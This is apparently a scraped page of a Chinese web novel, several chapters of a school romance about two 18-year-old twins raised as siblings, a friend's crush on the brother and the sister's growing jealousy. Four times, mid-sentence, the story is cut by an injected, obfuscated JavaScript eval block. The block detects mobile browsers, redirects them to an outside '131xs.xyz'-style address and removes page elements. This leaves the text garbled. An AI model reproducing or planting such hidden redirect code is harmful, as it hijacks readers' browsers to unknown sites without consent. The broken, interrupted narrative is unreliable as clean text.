终端聊天界面中,梁翘的怒火似乎可以穿透屏幕:你摸我哥了??你摸哪了??你居然摸我哥?!你还敢摸我哥??? 邓一瞿的消息回得很快:你别激动呀,只是碰了一下他的手而已。 梁翘咬牙忍火,手怎么了,手就能摸了吗。 邓一瞿还在继续发消息:今天你哥穿那么厚实,什么也看不见,我本来没啥感觉,结果他给我递控制器,我一看,手也这么好看啊…… 梁翘把终端捏得很紧,怒气就差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨停之后,梁青澄开车带他们俩去宠物医院给小猫检查身体。 小猫状况不太好,需要住院,这是一笔不小的开支。 梁青澄是个事业有成的女性,郝闻的工作也不差,梁翘两人从小就没有因为钱财吃过苦,面对一只濒死的小猫,梁青澄不等他们出声问询便决定要救。 只是虽然有善心,但他们家并没有养一只宠物的打算,小猫治好了之后也寄养在宠物医院,拜托医院给它找找领养。 回到家之后,梁翘和梁意窝在沙发上玩了一会游戏,然后各自回房间睡觉。 这对于梁翘来说实在是再普通不过的一天。 然而就是这样普通的一天,邓一瞿却从中窥到了可取之处,并且想要付诸行动。 梁翘一直没能想明白,对于自己的好朋友和自己的哥哥可能会在一起这件事她是什么样的想法。 她下意识顺着邓一瞿的想法往下走,邓一瞿想要知道自己是不是喜欢梁意,她就给他们制造机会。 梁意已经18岁了,现在试试和自己的朋友接触,总比以后随机匹配陌生人要好。 她下意识地做出认为对朋友、对哥哥最有利的判断,并行动起来。 但实际上她根本没有仔细思考过这件事会给自己造成什么样的影响。 就比如现在,仅仅只是听到邓一瞿说自己‘碰到了’一下梁意的手,她就难以自控,怒火直冲脸颊,牙齿咬得吱吱作响。 那一瞬间她甚至想冲到邓一瞿家里去质问她,为什么要动我的哥哥? 这是我的哥哥,不能被别人摸,也不能被别人碰…… 思绪混乱中,一只手伸过来贴住她的脸。 “翘翘,你怎么了,脸怎么这么红?” 是梁意的手。 梁翘扭过头看他,梁意不知何时已经坐在自己身旁了,距离她很近。单薄的白色T恤贴在柔韧的腰腹上,梁翘垂在身侧的手几乎能感受到梁意的体温。 平日里总是面无表情的脸此刻满是担忧和紧张,右手贴在她脸颊上感受着温度,这是梁意仅有家人能窥见的一角。 梁翘下意识把他的手拿下来紧握住,盯着他问:“是碰到你这只手了吗?” 4. 情绪 梁意突然被握住手,下意识挣扎了一下,但下一秒梁翘就攥得更紧。 他们之间离得很近,梁翘握着他的手不放,眼睛一眨不眨地盯着他。梁意几乎可以数清梁翘眼睛上面的睫毛,他不自在地稍微往后退了一点点。 “碰到……这只手?什么意思?” 梁意一脸迷茫,不明白梁翘在说些什么。 “邓一瞿说她碰了你的手……是这只吗?” 梁意是真的想了好一会,才想明白梁翘说得是什么。 “只是给她递东西的时候碰到了一下,怎么了吗?” 梁翘看着她哥哥一脸不明所以的表情,心中怒火更甚。不过她不知道是在气梁意,气邓一瞿,还是气自己。 她的情绪似乎有些太激动了,这真的是一件微不足道的小事,梁意看起来都没放在心上。 只是不小心……碰到了一下,真的没关系。 就算有关系,她有必要这么激动吗?平时梁意和别人接触的时候也没见她控制不住自己的脾气。 但是不一样,梁意和其他人接触,和邓一瞿带着含糊意味刻意为之的触碰,是不一样的。 梁翘问自己,你现在所做的一切,不就是为了这个吗? 如果邓一瞿以后真的和梁意在一起了,别说手,梁意哪里她碰不得? 他们会牵手、会拥抱、甚至会接吻……或者是一些更亲密的事情。 现在来介怀这样一个短暂的触碰,有什么意义呢? 梁翘反复在心中和自己说这些话,但好像收效甚微。 “翘翘,到底怎么了?” 半天没见梁翘回应,梁意索性卸了力道靠在沙发上,任由梁翘对自己施为。 “没事,哥,”梁翘松了手,放开梁意,转回身仰面倒在沙发上,长吁一口气,“最近心情不太好,你别介意。” 梁意还保持着那个别扭的姿势看她,半晌没动弹。 “……你现在什么都不愿意告诉我了。”他声音低落,几不可闻地吐出一句话。 梁翘默了一瞬,然后说:“哥,我没有什么是不愿意告诉你的。” “你不愿意告诉我你为什么打架,也不愿意告诉我你为什么心情不好,”梁意苦笑一声,“是我太没用了,帮不了你。” 梁翘扯起嘴角笑了一下。 “这和你有什么关系,怪自己干嘛。” “那你刚刚为什么生气?”梁意问。 为什么因为邓一瞿碰到了一下自己的手就这么生气?梁意甚至不确定她生气的原因是否是这件事,还是什么他连猜都猜不到的事情。 梁翘无奈,这件事不是她不想回答,是她也不知道怎么回答。 梁意又问:“那你前两天为什么打架?” “不为什么,哥,我想睡一会,昨天晚上和邓一瞿聊太晚了,现在好困。” 撂下这句话,不等梁意回复,梁翘急匆匆起身上楼往自己的房间走过去。 那个梁意带回来的盒子,梁翘说今天必须要拿到的盒子,就这样被她随手放在茶几上,再也没有多看一眼。 梁意看着它,就好像看到此刻孤零零被放置在客厅的自己。 这个周末剩下的时间就在兄妹俩的沉默中过去。 梁意每次想找妹妹说话,都被她三两句话含糊掉,然后迅速跑走,几次之后,梁意便不敢再缠着她问。 梁青澄和郝闻看着别扭的兄妹二人,默契的对视一眼,却都没有说些什么。 周日晚上,饭后,梁翘和梁意各自回了房间,梁青澄陪着郝闻在客厅看电影。 郝闻见两个孩子都不在,挨挨蹭蹭地凑过去,抵着梁青澄的肩膀,悄声问她:“他们俩这是怎么了?” 梁青澄很是淡定。 “小孩子闹个矛盾很正常,吵吵架感情更好。” “可我怎么看着这么不对劲呢……” 郝闻很担忧。 “你是先入为主了,他们从小到大也不只这一次吵架。”梁青澄不觉得这是件什么大事,“等着吧,都用不着到明天,等会小意就得去找他妹妹。” 郝闻瞪了她一眼,有些不满意梁青澄的迟钝:“但小意和翘翘不是兄妹啊……” 梁青澄挑起眉毛,转过头看着郝闻。 “这么多年都是照兄妹养大的,何况你看他们哪有一点不是兄妹的样子。” “这次我感觉就不像是兄妹吵架的样子……” 郝闻惴惴不安,他的工作没有梁青澄那么忙,照顾两个孩子的时间更多,加上他本身性格软,两个孩子也跟他更亲近些。 他就感觉这次跟以往的每一次都不一样。 梁青澄闻言皱起眉毛,仔细思考了一下。 她从不会不把郝闻的话放在心上,他们两人之间,更了解孩子的那个人确实是郝闻。 “再看看吧,他们也满18岁了,不论做出什么决定,只要不后悔就行。” 郝闻点头。 这两人的对话告一段落,而梁意也不出梁青澄所料,起身出了房间,敲响了梁翘的房门。 “翘翘,是哥哥,我可以进去吗?” 房间里很安静,没有回应。 梁意又轻轻敲了一下门。 里面传来梁翘闷闷的声音:“门没锁。” 推开门进去,梁翘正坐在窗前的书桌上,没有开灯,只有窗外的月光打进来两缕光亮照在梁翘脸上,忽明忽暗,辨不清她的表情。 梁翘的房间很大,他们家是一栋四层的小别墅,梁翘和梁意住在二楼,梁青澄两人住在三楼。 每个房间里都有独立卫浴,还有一个单独隔出来的小客厅。梁翘房间的小客厅放了书柜、书桌、沙发还有一些其他的摆件,跟卧室是两个连通但互不影响的空间。 梁意没有开灯,走到书桌旁边,借着窗外的月光打量梁翘脸上的神色。 她表情沉闷,盯着桌子一角发呆,不知道在想些什么,浑不在意他的进入,也不在意他的打量,更没有开口说话的意愿。 梁意沉默了片刻,转回身坐在沙发上,没有贸然开口打扰她。 两人之间就这样安静下来,互相牵挂着对方,却都不知道怎么开口。 “哥……” 梁翘没有回头,还是望着虚空发呆,嘴边溜出的话仿佛只是无意识间的呢喃。 “你想跟我说什么,翘翘。”梁意有些紧张,有些期待,更有些困惑不解。 梁翘脱口而出:“邓一瞿说她喜欢你。” 梁意想要起身的动作就这样僵住。 所以,让他去邓一瞿家取东西,根本不是因为什么必须要拿到的礼物,而是想找个事情撮合他和邓一瞿。 那个他带回来的盒子今天早上梁意起来的时候发现已经不在客厅了,不知道是什么时候被梁翘拿走了。 他不知道该作何反应。 该有什么反应呢? 说他不喜欢邓一瞿,问梁翘为什么突然告诉自己? 还是问梁翘,你撮合我和邓一瞿,是希望我和她在一起吗…… 梁翘说出这句话的下一秒就后悔了,邓一瞿还没确定她喜不喜欢梁意,她不应该就这样说出来。 就算邓一瞿真的喜欢梁意,也应该由她本人说出这件事,而不是梁翘来说。 但说出口之后,她下意识屏住呼吸,等待梁意的回答。 梁意没有回答。 “哥……你怎么不说话。” 梁意面上一片冷意,看起来没有情绪,实际上已经快要苦死了。“你希望我说什么,翘翘。” “你怎么想?” “我怎么想?” “你喜欢她吗……” “我不知道怎么回答你,翘翘。” 梁意没有正面回答,他想到梁翘这段时间的不对劲,所以是因为她的朋友喜欢自己,所以梁翘才对自己那么别扭吗。 她到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130380|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是希望自己喜欢,还是不喜欢呢。 梁意没有去思考自己究竟喜不喜欢邓一瞿,这对他来说是一个完全确定的答案。 但是他不确定梁翘的态度,梁翘的表现很奇怪——她给自己给邓一瞿制造机会,看起来似乎想要推动他们之间的关系,但等他回到家后,梁翘却表现得有些生气。 他无法判定梁翘是怎么看待这件事的,也就无法给出自己的回答。 梁翘不知他心中所想,在她看来,没有正面回答其实已经是一种回答了。她的心渐渐沉下去。 她冷静了片刻,对梁意道歉:“对不起了哥,其实一瞿不确定她喜不喜欢你,刚刚是我口误了。” 梁意默不作声地点头,示意他知道了。 于是梁翘又说:“我想给一瞿打个通讯解释一下,不小心说漏嘴了。” 梁意掏出终端递给她,见梁翘没有再跟自己说话的意思,转身离开房间,并且带上了门。 拿过还带着梁意体温的终端,梁翘却没有像她自己说得那样,给邓一瞿打电话,而是转身回到沙发上坐下,就在刚刚梁意坐着的那个位置。 她在思考,最近她实在是太奇怪了。 不只是郝闻、梁意这么觉得,其实她自己也感受到了。 似乎并不是从知道邓一瞿喜欢梁意开始变得这么奇怪的,而是更早。 她想起前两天在女厕所的那场打架。 所有人都问不出的那个原因其实很简单,跟梁意有关。 邱真喜欢梁意,所以当着老师和家长的面,她们谁都没把原因说出来,免得让梁意难做。 那天梁翘肚子不太舒服,响了上课铃之后才解决完。正起身推门准备出去的时候,邱真打着通讯从厕所外边进来。 梁翘本来没放在心上,推开门就要走,但邱真口中说出的那个人名却立马止住了她的动作。 “……你少臭贫了,梁意能看上你……要我说…梁意这种男生,就得我这样的治治他……” 邱真的声音低哑又暧昧。 “不是不爱说话吗……那么高冷,我看他在…的时候爱不爱说话……” 剩下的话梁翘没再听下去,她推开门,一脚踹在邱真身上。 邱真跟她是同级不同班,个高体健,容貌端正,成绩不太好,但运动能力很发达,每次长跑她总是第一。 梁翘听说过这么一个人,只是从来没想过这个人会跟梁意扯上什么关系。 邱真被她踢得一愣,但很快反应过来,终端一甩,就跟她在厕所扭打了起来。 两人你一拳我一脚的,也不讲究什么技巧,直到被老师喊来找梁翘的同学发现并制止。 一起被带去校医室检查身体的时候,邱真看着梁翘其实已经有些后悔。 她是真的喜欢梁意,只是嘴上花花,跟朋友调笑两句没过脑子,跟梁翘打架更是没过脑子。 这会冷静下来,反应过来自己那样说梁意,被他妹妹听到,自己还跟他妹妹打了一架,后悔之情越来越汹涌。 她嗫嚅着想要开口说些什么,梁翘冷冷地扫了她一眼。 “等会问起来,什么该说什么不该说,你清楚。” 邱真忙不迭点头,还想再解释一下,梁翘已经起身往外走去。 梁翘倒没什么问题,连伤口都没见着。邱真喜欢梁意,自然认识梁翘,看见是她,下意识收了力,不太敢使劲。但梁翘打她可是半分力道都没省,还见了血。 学生打架是常事,但见了血到底不一样,校方很重视。 后面在办公室,不论谁来问,梁翘和邱真都没吐露出有关于梁意的半个字,缄默不语。 女厕所那地方又没有监控,不知道原因,就不好判责,只能根据伤情来定。 想到这里,梁翘突然想起来,明天是周一,她得在全校同学面前做检讨。 苦笑了一声,收起终端,那个要打给邓一瞿的通讯,最终还是没有拨出去。 5. 坦白 第二天的升旗仪式之后,梁翘臭着一张脸站上主席台,面无表情地开始念梁意一早交给她的稿子。 梁意都不用问就知道她肯定什么也没准备,就打算上去随便说两句话应付一下,所以哪怕两人之间的气氛还是很怪异,他还在是出门的时候给梁翘塞了他昨天晚上准备的检讨稿。 他不想梁翘因为这件事被老师们认为态度不端正,本身就是因为打架挨的处分,再有其他坏印象就不好了。 翘翘是个好孩子,哪怕不知道为什么跟别人打架,还把人打受伤了,也一定不会是她主动挑起来的。 梁意对梁翘总有种盲目的信任,虽然他是哥哥,总是自诩保护者的角色,但更多时候他都是在听从梁翘的指挥。 梁翘没有指挥他的时候,他会选择那个自认为对梁翘更好的选项,然后坚定地执行下去。 正如这份梁翘没提,但梁意还是准备了的检讨稿。 梁翘和邱真打架的事情在学校很出名,一是因为梁翘和梁意两人的名气大,他们俩属于成绩好又长得好的那类典型学生,关注他们的人很多;二是因为这还是近几年来头一件摆在明面上的学生打架见血事件。 他们学校是当地重点中学,学风比较淳朴,没有那么多弯弯道道的事情。校领导和老师也很一视同仁,不管成绩好还是坏,都会细究原因,所以几乎没有什么恶性事件。 个别学生吵架、打架之类的事情都没有太严重,没有像这样闹到需要全校检讨的地步。 所以梁翘在台上做检讨的时候,台下的议论声此起彼伏,像低频又不间断的广播一样蔓延开来。 对于正值青春期,敏感又高自尊的学生来说,这真的是一个非常严重的处罚。 梁意非常担心梁翘,这两天她心情也不好,不知道是不是受到了检讨的影响,所以分外焦虑。 梁翘语调毫无起伏地念完这篇稿子,老师就让她下去了。 路过梁意的班级,她装作没看到梁意关切的眼神,自顾自回了自己班的队伍。 她完全不在意这次当着全校同学面前进行的深刻检讨。 梁翘不认为自己有错,有错的人是谁她和邱真都心知肚明。 只是检讨而已,她向来不是那种会因为其他人看法而感到羞愧的人,只要自己问心无愧就够了。 一路迎着同学们疑惑、打趣、关心的眼神回到自己的位置,还没喘口气,邓一瞿就凑过来。 她们俩都高,两个人一向是站在班级队伍的末端。 见她神色冷淡,邓一瞿朝邱真那个方向扬了扬下巴,低声问她:“怎么就你一个人检讨,邱真呢?就这么过去了,什么事也没有?” 梁翘冷笑一声:“她伤得比我重,哪能什么事也没有。” 邓一瞿觉得全校检讨这事比伤情可重要多了。全校这么多人,当着面检讨,就算打架打赢了,那检讨一做跟输了有什么区别? “全校检讨,好像这事跟你错了似的,”邓一瞿撇撇嘴,跟她吐槽,“别以为你不说我就想不到,甭管是因为什么,这事指定是邱真挑起来的,怎么最后搞得错都在你身上一样。” 邱真的班级离她们不算远,视线一直在她们俩这边打转,偶尔撞上邓一瞿的眼神就扭过头看别的方向。 邓一瞿和自己的姐妹一条心,狠狠瞪了邱真几次,甭管邱真看她们干什么,总归不是想干什么好事。 升旗仪式散后,梁意犹豫了一下还是没有过来找梁翘。 他想起昨天梁翘跟他说的事情,邓一瞿和梁翘一直在一起,他现在过去……还是算了,等到吃午饭的时候再去找翘翘吧。 刚好,梁翘也想趁这点空闲时间跟邓一瞿谈谈昨天说要和她打电话说得那件事。 她想尽快把事情拉回到正常的路线上,把自己心中所有不对劲的情绪全部压下。梁翘面对邓一瞿,深吸一口气,语气沉重地说:“一瞿,我昨天不小心说漏嘴了。” 邓一瞿满面茫然:“什么说漏嘴了?” “我跟我哥说你喜欢他。” “……啊?!”邓一瞿一脸惊异地看着她,“可是,我不是…我还没确定啊!” 梁翘一脸沉痛地点头:“所以我后来又说你还不确定。” “……啊!?” 梁翘深觉自己对不起朋友,她也不知道自己怎么了,昨晚见着梁意就脱口而出了。 “对不起,我不是故意的,我一看到我哥就没忍住说了……” 事已至此,邓一瞿除了原谅,也没有别的办法。 但是。 “那咋办,我还是不确定我是不是喜欢你哥,他都知道了,我们怎么试探啊!” 梁翘又想出一个妙招。 “没关系,就直接跟我哥说,他会同意跟你再接触一下的。” 邓一瞿面无表情:“好绝的主意啊。” 可是事已至此,除了这个办法,也没有别的办法。 确定好了这件事之后,上课时间也快到了,梁翘虽然还有其他事情没有讲完,两人也只好先回教室。 教室里闹哄哄的,在梁翘和邓一瞿进来的刹那安静一秒,随后又恢复嘈杂,只是大家的视线都似有若无地停留在刚刚做完检讨的梁翘身上。 江骄阳走过来拍拍梁翘的肩膀,揶揄地冲她调笑道:“哟,角斗士回来了。” 旁边和梁翘平时关系好的同学一起大笑起来。 梁翘咬牙拍开她的手,任由江骄阳跟其他同学打趣自己。 邓一瞿早就憋着笑回到自己位置上了。 梁翘就坐在她旁边,沉着脸跟她说:“我还是打邱真打轻了。” 邓一瞿深以为然地点头。 等到中午的时候,梁意过来找梁翘一起去食堂吃饭。 其实平时他们俩中午不会一起吃饭,梁翘有自己的朋友圈子,梁意也有。 一开始上高中的时候他们还会和对方一起吃饭,连带着朋友一起,只是被朋友调侃多了之后就自然而然地分开了。 邓一瞿很有眼色地拉着江骄阳和其他一圈想要看热闹的同学先走一步,留梁翘和梁意一起。 想到等会梁翘要跟梁意说的事情,有其他人在场可不太方便。 梁翘和梁意的午饭一般是在学校食堂解决,他们学校的食堂味道还可以,建得也大,除了最紧俏的饭点外基本上都够坐。 但现在等梁翘和梁意赶过去肯定是没有位置的,他们俩索性慢悠地晃荡过去,等第一批学生吃完。 梁意见梁翘神态自然放松,似乎没有被早上的全校检讨影响到,便放下心中准备好的安慰腹稿,不再主动提起可能会让梁翘心情不愉快的事情,准备说点别的什么。 “翘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130381|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翘,中午你想吃什么?” 梁翘纳闷地看他一眼,所以他来找自己就是单纯想吃个午饭吗。 “随便,有什么吃什么。”她敷衍地回应了一句,转而提起今天上午她和邓一瞿说好的那件事。“哥,我有别的事情想和你说,关于我昨天和你说的事情,邓一瞿可能喜欢你。” 梁意垂在身侧的右手攥住校服下摆,随即又放开。 “一瞿说她也不确定喜不喜欢你,本来我们没准备告诉你的,是我不小心说漏嘴。”说到这,梁翘的眼神里闪过一丝懊恼,如果不是嘴快说出来了,也不至于这么尴尬,到现在她都没明白自己怎么就脱口而出了。 “我想问你,你愿意和邓一瞿再稍微接触一下吗?” “接触?” “没有别的意思,只是一瞿想确认一下,本来这件事可以不用让你知道,免得让你不自在……所以我一开始才没有告诉你。” 梁意有些不明所以,只是接触一下?好让邓一瞿确认自己对他是不是喜欢吗。 那之后呢,如果邓一瞿不喜欢他,大家相安无事,那如果邓一瞿喜欢他呢?翘翘也会像这样要求自己再跟她‘接触’一下吗? 他思考着这些问题,半晌没有作声。 梁翘疑惑地扭头看他,以为梁意是不愿意。 “没关系,如果你不想也可以的,这对你来说确实有点强人所难了……” 梁意静静地听她说完,然后面色平静地说:“我没有不愿意,翘翘,只是我有一个问题想问你。” “什么问题?” 梁翘等待着梁意提出他的疑问,只是都快走到食堂门口了,梁意还没有问出来。 越临近食堂,进出来往的学生就越多,再往里走就不好说话了,梁翘拽住梁意的袖子,两个人停下脚步。 “你问呀。” “……邓一瞿确定这件事,之后呢?” 梁翘被他问得一怔,之后? “没有之后啊,哪来的之后。” 梁意沉默。 他没再多说,带着一脸疑惑的梁翘进入食堂。 这会里面还是有很多人,但是第一批过来吃饭的学生已经吃完了,所以还找得到空位。 梁翘没什么想吃的,梁意也不挑,两人随便选了一个吃面的窗口排队,没再继续刚才的话题。 直到吃完饭回到教室午休,邓一瞿挤眉弄眼地凑过来问她梁意的反应,梁翘才恍然惊觉梁意刚才说的‘之后’是什么意思。 原来,梁意的疑问和困扰她这么多天的都是同一个问题。 之后。 在得知邓一瞿和梁意有过肢体接触之后,梁翘也这样问过自己。 他们以后如果在一起,会牵手、会拥抱、会接吻、会做许多亲密的事,她去介怀那样一次连牵手都算不上的碰触有什么意义呢。 她想这件事想了两天,只是一直没有想明白,索性把它丢在一边。 只是丢在一边了,但并不是消失了。 看着眼前邓一瞿不好意思又带急迫的表情,梁翘想起来自己上午还没跟她讲的那件事是什么了。 “一瞿,我哥说他不介意。” 邓一瞿神色一喜。 但梁翘下一句就说:“但是我好像有点介意。” “——我好像有点介意你跟我哥接触。” 6. 朋友 梁翘的朋友很多,从进入学生时代开始,她身边就不缺朋友。 有些朋友因为学校、班级的不同,日常不能够和她腻在一起,有些朋友因为距离的原因和她越发熟悉,邓一瞿就是后者。 但朋友始终是朋友,不论远近,没有亲疏,梁翘从来不会认为谁都不重要的人。 邓一瞿说喜欢梁意,她下意识给邓一瞿制造机会。 但制造完机会她才猛然发现自己好像难以接受这样的‘机会’,那她也不会藏在心里不告诉邓一瞿,这样是对她的不公平。 所以,在想通这件事之后,梁翘很直接的捅到了邓一瞿面前。 邓一瞿听完这话,神色疑惑:“为什么?” “我也不知道,就是一想到你和我哥哥在一起,就感觉很别扭……” 教室里有很多正在午休的同学,梁翘和邓一瞿压低声音用气音沟通,离她们很近的江骄阳似乎察觉到了什么,抬头朝这边看过来。 邓一瞿拽着梁翘的手把她拉出去,江骄阳坐在原地清醒了片刻,也跟了上去。 她快步走出教室,在走廊追上了她们,一只手搭着一个肩膀,卡在她们俩中间向前走。 “你们俩最近什么情况啊,有事瞒着我。” 江骄阳个子高,1米8的身高往她俩身上一塔,脚步平白沉重了两分。 梁翘扯她的手,没扯动,便也随她。 “怎么都不说话,怎么着,一个周末没见,就不认识我了?” 在邓一瞿说喜欢梁意之前,她们三个每天都腻在一起。江骄阳看着豪放,实际心思最细腻,一早察觉出她们两个之间苗头不对,肯定有事。她没问,想等着她们主动告诉自己。 结果等来等去,这俩人又要偷偷溜走。 梁翘被她压得不舒服,叹了口气:“不是有意的,只是我俩自己也没确定。” “……啊?” 江骄阳不明所以,邓一瞿没说话,梁翘也没继续往下说,她兀自脑补着。 须臾,瞪大双眼。 “我靠……你们俩,你们俩不会是……不会是在一起……” 就知道她狗嘴里吐不出象牙来,邓一瞿翻了个白眼,用力推她。 “不是!你瞎想什么呢。” “那是什么事啊,不是,你们倒是告诉我啊!” 等走到操场旁边的凉亭,梁翘找了个位置坐下,看向邓一瞿:“你自己告诉她。” 邓一瞿又露出那副不好意思的表情,别别扭扭地顶着江骄阳探究的眼神道:“也不是什么大事……就是我发现我好像喜欢梁意哥……” 江骄阳一脸无语,“……这有什么不好告诉我的啊!你喜欢梁意又不碍着我什么事。” “这不是,我还没确定吗。”邓一瞿靠着柱子坐下,神情尴尬。 梁翘刚和她坦白的事情两个人还没来得及进一步沟通就被江骄阳搅和进来,这会儿也不管在一旁看戏的江骄阳,继续对邓一瞿说起刚才那件事。 “你说我这是什么心态啊,我一想到你跟我哥哥以后在一起,两个人结婚生子……我好像就受不了。” “不是,”邓一瞿连忙摆手,“你想得也太远了,我都还没确定是不是喜欢梁意哥,你就想到我们俩结婚去啦?” 梁翘表情沉郁地点头:“我也说不清,就总往那想,然后感觉不太舒服。” “假如我真的喜欢你哥啊,你不希望我跟他在一起吗?”邓一瞿追问。 “也不是,我哥和你在一起总比和我不认识的陌生人在一起要好吧,起码我放心点儿。” 梁翘脸上困扰的神色不似作假,本来不以为意的邓一瞿和江骄阳都认真起来。 “你到底是姐姐还是妹妹,你放心点儿?”江骄阳吐槽,“高中这么几年也没见着你操心梁意的事儿啊。” 这倒是真的,梁意早熟,梁翘又没心没肺的。从来只见梁意操心梁翘的事情,还是第一次听梁翘说这种话。 梁翘之前没提,现在自然也不会说她为了梁意跟邱真打架的事情,于是打了个哈哈含糊过去:“我操心的多了还要事事都让你知道,我操心你俩也不少呢。” 三人笑闹了一会,江骄阳突然说:“我觉得应该是因为你不习惯。” “什么不习惯?” “你想啊,梁意跟你是双胞胎,你们俩天天家里学校的腻在一起,现在一瞿喜欢上你哥,要是他俩在一起了,你岂不是一下子失去了两个生活中的重心?” 还没等梁翘回应,邓一瞿就先跳了出来:“要我说几遍,我还没!确定!” 梁翘没搭理她,江骄阳也没搭理她。 思考过后,梁翘慎重地点了点头。 “你说得有道理,可能是不太习惯我生活中两个重要的人一下子都跟我不是最亲密的关系了。” 说完,她又追问:“怎么调理?我很不喜欢这样。” 江骄阳摸摸下巴,提出一个中肯的意见。 “要不你也试试找个人谈恋爱?再找一个把你当重心的人不就好了。” 邓一瞿又坐了回去,江骄阳完全是狗头军师,论恋爱经历她不如自己,论亲密关系她也没有兄弟姐妹,只有她们两个朋友。 梁翘肯定不会真听她的话去找个人谈恋爱,梁翘对于恋爱一直抱着可有可无的想法,她也不是抗拒谈恋爱,她只想找自己喜欢的人谈恋爱,这样一个人能听江骄阳的馊主意吗?那不可能的。 然而不可能也有可能的一天,在邓一瞿不可置信的眼神中,梁翘应了下来。 “翘翘,你确定?你要听她的?她又没怎么谈过恋爱又没兄弟姐妹的,她懂个屁啊。” 江骄阳一脚踢在邓一瞿身上。 “那你来出个好主意,来来,你来说。” 邓一瞿仔细想了一下,还真没有什么好办法。 虽然她不认为自己一定喜欢梁意,也不认为如果自己和梁意在一起梁翘就不会是他们生活的重心了,但是梁翘有顾虑也正常。 妹妹永远是妹妹,朋友永远是朋友。 经过江骄阳这一打岔,梁翘只感觉豁然开朗,原来是不适应亲密关系的改变,她还以为自己是变态呢…… 她动作很快,想通了之后立马开始准备起来。 就算想要找人谈恋爱,她也不打算敷衍了事,随便选一个不喜欢的人在一起,这是对他们双方的伤害。 之前梁翘从来没考虑过自己喜欢什么样的人,只知道自己不喜欢什么样的人。 她喜欢什么样的人……个子高的,什么都听她的,不太爱说话,最好只喜欢跟她说话。 这样的人可不太好找,一个本身就不太爱说话的人,她怎么确定人家喜欢跟她说话? 完全没意识到自己好像找错了方向的梁翘,开始在学校里研究起来那些看起来高冷不爱搭理人的男生。 说实在的,这样的人很少,能让梁翘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130382|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入眼的更少。 蓝星人因为基因问题,25岁没有找到伴侣就会被安排基因匹配相亲,还没成的话就是终生的痛苦等着自己,所以大部分蓝星人早早就开始给自己寻摸伴侣。 想找到合适的伴侣,不是那么简单的,许多人从14.5岁开始就开始寻找。 在这样的情况下,一个不爱说话、看起来高冷的男生,是很难保持住自己的这份高冷的。 梁翘找了一周,也只找到那么一个。 个子高,看起来不爱说话,长得挺好看的,是小她一届的学弟。 只是不确定人家对着她愿不愿意说话。 邓一瞿和江骄阳又在一边给她出主意。 “松亭我认识,他成绩挺好的,在他们那一届总是前几名。” “你不是咱们这一届的前几名吗,就把人约出来,说交流交流学习呢。” 邓一瞿翻了个白眼:“人家高二,我们高三,交流什么学习?当人家傻呢。” 江骄阳瞪她:“那你来,你出个好主意,既不跟人家表白,又能约出来接触接触的。” 邓一瞿眼珠一转,还真想出来一个好主意。 “我真认识他,我之前有个前男友跟他是一个班的,我过去的时候总见着他。我之前听人说,松亭每周末都会去市立图书馆。” “不是怎么你前男友连这也跟你说啊。” “说他装,成绩又好,不爱搭理人,长得还好看,天天在我这念叨。” 江骄阳乐了,“你的前男友们还真是千奇百怪。” “所以是前男友了。”邓一瞿摊手。 梁翘听着没说话,这确实是一个很好的机会,不必暴露她的想法,装作偶遇过去就可以。 只是…… “我妈罚我这个月都不能出门玩了,我怎么去啊。” 邓一瞿挤眉弄眼:“让梁意哥去跟你妈说,她肯定同意,就说快考试了,你们俩去图书馆学习。” “醉翁之意不在酒啊,邓一瞿,你居然也长脑子了。”江骄阳揶揄道,随即又说:“我也要去,这次不能把我落下了。” 梁翘点头,拍板落定。 “可以,我晚上回去就跟我哥商量商量。” —— 这周梁翘忙着给自己寻摸恋爱人选,和梁意的沟通愈发少。 自从那天两人在食堂分别之后,后面也没再谈起关于邓一瞿是否喜欢他的事情。 梁意心中有些失落,并不是为妹妹想要把他推出去给朋友,而是梁翘和他的沟通一直在减少,他很焦虑,以为是自己的表现惹了梁翘生气。 等到周五回家,梁意下定决心,要找梁翘谈一谈,不论她怎么要求,他肯定都会答应。 还没等他找梁翘谈话,梁翘就先摸进了他的房间,笑眯眯地和他商量。 “哥,你能不能跟妈妈说一下,明天咱们俩一起去图书馆。” 梁意愣住。 梁翘又补充道:“我实在是不想憋在家里了,我想出去透透气。” 梁意下意识点头,然后追问:“明天吗?就我们俩去。” 